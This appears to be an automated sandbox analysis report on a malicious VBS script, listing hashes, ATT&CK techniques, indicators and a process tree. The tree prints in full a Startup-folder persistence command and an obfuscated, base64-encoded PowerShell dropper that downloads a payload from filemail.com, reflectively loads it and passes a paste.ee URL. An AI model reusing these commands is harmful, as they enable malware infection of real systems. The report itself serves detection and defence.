879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a

General

Target

879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a.vbs
Size

12KB
MD5

2c548eb64145d9cd7308584191ff0976
SHA1

f2a0f23393dbe76a37819e3b76b7cb24070d696d
SHA256

879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a
SHA512

85d3f5ecab588ae6b715dccd14bfb6f5f2d729ddc5abf2bedb62cd6b3ce5bf3049d2615dade76993e76b683de76f443da93a1f273efe420d1c7bd626379dcf76
SSDEEP

192:k9L/aGdqjaQlUsQRwitSUCUaQlWL3MgZrdGHRkfkI:km/5+ww3ScgZrdGHRk8I

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	232	WScript.exe
5	232	WScript.exe
21	1456	powershell.exe
48	1456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4640	powershell.exe
5032	powershell.exe
1456	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2064	cmd.exe
2320	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2320	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4640	powershell.exe
4640	powershell.exe
5032	powershell.exe
5032	powershell.exe
1456	powershell.exe
1456	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 232 wrote to memory of 2064	232	WScript.exe	83
PID 232 wrote to memory of 2064	232	WScript.exe	83
PID 2064 wrote to memory of 2320	2064	cmd.exe	85
PID 2064 wrote to memory of 2320	2064	cmd.exe	85
PID 2064 wrote to memory of 4640	2064	cmd.exe	95
PID 2064 wrote to memory of 4640	2064	cmd.exe	95
PID 232 wrote to memory of 5032	232	WScript.exe	97
PID 232 wrote to memory of 5032	232	WScript.exe	97
PID 5032 wrote to memory of 1456	5032	powershell.exe	101
PID 5032 wrote to memory of 1456	5032	powershell.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\879dc95c721b68613a3b30899288749e6331fbe698e823092ee9d89ce2318b1a.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggKFtzVHJJbkddJHZFUkJPc2VwUmVmRXJlTmNFKVsxLDNdKydYJy1Kb2lOJycpICgoJ3MnKydoT2ltYWdlVXJsID0gaDVTaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvJysnbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT0yQWFfYlcnKydvOVJlJysndTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyJysnblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBoNVM7c2hPd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtzaE9pbWFnZUJ5dGVzID0gc2hPd2ViQ2xpZW50LkRvd25sb2FkRGF0YShzaE9pJysnbWFnZVVybCk7c2hPaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nJysnXTo6VVRGOC5HZXRTdHJpbmcnKycoc2hPaW1hZ2VCeXRlcyk7c2hPc3RhcnRGbGFnID0gaDVTPDxCQVNFNjRfU1RBUlQ+Pmg1UztzaE9lbmRGbGFnID0gaDVTPDxCQVNFNjRfRU5EPj5oNVM7c2hPc3RhcnRJbmRleCA9IHNoT2ltYWdlVGV4dC5JbmRleE9mKHNoT3N0YXJ0RmxhZyk7c2hPZW5kSW5kZXggPSBzaE9pbWFnZScrJ1RleHQuSW5kZXhPZihzaE9lbmRGbGFnKTtzaE9zdGFydEluJysnZGV4IC1nZSAwIC1hbmQgc2hPZW5kSW5kZXggLWd0IHNoT3N0YXJ0SW5kZXg7c2hPc3RhcnRJbmRleCArPSBzaE8nKydzdGFydEZsYWcuTGVuZ3RoO3NoT2Jhc2U2NExlbmd0aCA9IHNoT2VuZEluZGV4IC0gc2hPc3RhcicrJ3RJbmRleDtzaE9iYXNlNjRDbycrJ21tYW5kID0gc2hPaW1hZ2VUZXh0LlN1YicrJ3N0cmluZyhzaE9zdGFydEluZGV4LCBzaE9iYXMnKydlNjRMZW5ndGgpO3NoT2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHNoT2JhJysnc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBTZHcgRm9yRWFjaC0nKydPYmplY3QgeyBzaE9fIH0pWy0xLi4tKHNoT2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07c2hPY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhzaE9iYXNlNjRSZXZlcnNlZCk7c2hPbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOicrJzpMb2FkKHNoT2NvbW1hJysnbmRCeXRlcyk7c2hPdicrJ2FpJysnTWV0aG8nKydkID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChoNVNWQUloNVMpOycrJ3NoT3ZhaU1ldGhvZC5JbnZva2Uoc2hPbnVsbCwgQChoNVMwL3RjcDBSL2QvZWUuZXRzYXAvLzpzcHR0aGg1UywgaDVTZGVzYXRpdmFkb2gnKyc1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTTVNCdWlsZGg1UywgaDVTZGVzYXRpdmFkb2g1UywgaDVTZGVzYXRpdmFkb2g1UyxoNVNkZXNhdGl2YWRvaDVTLGg1U2Rlc2F0aXZhZG9oNVMsaDVTZGVzYXRpdmFkb2g1UyxoNVNkZXNhdGl2YWRvaDVTLGg1JysnU2Rlc2F0aXZhZG9oNVMsaDVTMWg1UyxoNVNkZXNhdGl2YWRvaDUnKydTKSk7JykuUkVwTEFDRSgoW0NoQVJdMTE1K1tDaEFSXTEwNCtbQ2hBUl03OSksJyQnKS5SRXBMQUNFKChbQ2hBUl0xMDQrW0NoQVJdNTMrW0NoQVJdODMpLFtzdHJpbkddW0NoQVJdMzkpLlJFcExBQ0UoJ1NkdycsW3N0cmluR11bQ2hBUl0xMjQpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( ([sTrInG]$vERBOsepRefEreNcE)[1,3]+'X'-JoiN'') (('s'+'hOimageUrl = h5Shttps://1017.filemail.co'+'m/api/file/get?filekey=2Aa_bW'+'o9Re'+'u45t7BU1kVgsd9pT9pgSSlvStGr'+'nTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f h5S;shOwebClient = New-Object System.Net.WebClient;shOimageBytes = shOwebClient.DownloadData(shOi'+'mageUrl);shOimageText = [System.Text.Encoding'+']::UTF8.GetString'+'(shOimageBytes);shOstartFlag = h5S<<BASE64_START>>h5S;shOendFlag = h5S<<BASE64_END>>h5S;shOstartIndex = shOimageText.IndexOf(shOstartFlag);shOendIndex = shOimage'+'Text.IndexOf(shOendFlag);shOstartIn'+'dex -ge 0 -and shOendIndex -gt shOstartIndex;shOstartIndex += shO'+'startFlag.Length;shObase64Length = shOendIndex - shOstar'+'tIndex;shObase64Co'+'mmand = shOimageText.Sub'+'string(shOstartIndex, shObas'+'e64Length);shObase64Reversed = -join (shOba'+'se64Command.ToCharArray() Sdw ForEach-'+'Object { shO_ })[-1..-(shObase64Command.Length)];shOcommandBytes = [System.Convert]::FromBase64String(shObase64Reversed);shOloadedAssembly = [System.Reflection.Assembly]:'+':Load(shOcomma'+'ndBytes);shOv'+'ai'+'Metho'+'d = [dnlib.IO.Home].GetMethod(h5SVAIh5S);'+'shOvaiMethod.Invoke(shOnull, @(h5S0/tcp0R/d/ee.etsap//:sptthh5S, h5Sdesativadoh'+'5S, h5Sdesativadoh5S, h5Sdesativadoh5S, h5SMSBuildh5S, h5Sdesativadoh5S, h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5Sdesativadoh5S,h5'+'Sdesativadoh5S,h5S1h5S,h5Sdesativadoh5'+'S));').REpLACE(([ChAR]115+[ChAR]104+[ChAR]79),'$').REpLACE(([ChAR]104+[ChAR]53+[ChAR]83),[strinG][ChAR]39).REpLACE('Sdw',[strinG][ChAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
52a447f8d634b26ced145134b6d16759

SHA1
e3beec9fed95623719bca43e1d6f9bef35795ad5

SHA256
3f748a6fc6fd834d2aa92f2741db796ed67fb4ceb5f4713d9c6660bb114c274f

SHA512
3404ed0a8aff0ddc00a31dceca14617b499c37f59334593442966be624104379371e023456fcb7697a097ef30ad9921c34261c19d4f76d8ef9aa3ecdba77dd2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x3cy3i4a.v0r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1456-38-0x0000029BFBDF0000-0x0000029BFBF48000-memory.dmp

Filesize
1.3MB

Download
memory/4640-1-0x00007FFE58E43000-0x00007FFE58E45000-memory.dmp

Filesize
8KB

Download
memory/4640-8-0x0000016F1E9D0000-0x0000016F1E9F2000-memory.dmp

Filesize
136KB

Download
memory/4640-12-0x00007FFE58E40000-0x00007FFE59901000-memory.dmp

Filesize
10.8MB

Download
memory/4640-13-0x00007FFE58E40000-0x00007FFE59901000-memory.dmp

Filesize
10.8MB

Download
memory/4640-16-0x00007FFE58E40000-0x00007FFE59901000-memory.dmp

Filesize
10.8MB

Download
memory/4640-17-0x00007FFE58E40000-0x00007FFE59901000-memory.dmp

Filesize
10.8MB

Download

Analysis

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